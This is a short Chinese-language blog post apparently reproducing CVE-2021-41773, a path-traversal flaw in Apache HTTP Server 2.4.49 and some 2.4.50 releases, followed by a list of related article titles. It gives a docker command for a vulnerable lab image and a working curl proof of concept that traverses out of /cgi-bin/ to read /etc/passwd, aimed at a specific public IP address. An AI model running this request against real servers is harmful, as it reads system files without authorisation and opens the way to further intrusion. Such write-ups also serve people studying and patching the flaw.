影响版本
Apache HTTP Server 2.4.49
某些Apache HTTPd 2.4.50也存在此漏洞
环境搭建
docker pull blueteamsteve/cve-2021-41773:no-cgid
漏洞复现
1.使⽤poc
curl http://1.15.136.212:8080/cgi-bin/../../../../etc/passwd
相关推荐
heartbeat..1 小时前
介绍java中常用于处理 Excel 文件的Apache POIvortex521 小时前
基于 Apache 规则拦截目录扫描器请求：实测与配置指南观望过往21 小时前
Apache IoTDB 连续查询（CQ）全解析世界尽头与你1 天前
CVE-2020-1938_ Apache Tomcat AJP 文件读取与包含漏洞SelectDB技术团队1 天前
Apache Doris 在小米统一 OLAP 和湖仓一体的实践过往记忆1 天前
Apache XTable：打破数据湖格式孤岛的“通用翻译官”耿雨飞1 天前
Apache Airflow 第四章：生态扩展与插件开发渣渣盟2 天前
Flink数据流高效写入HBase实战n***84072 天前
防火墙安全策略（基本配置）顧棟2 天前
Apache POI导出出现FontConfiguration中NULL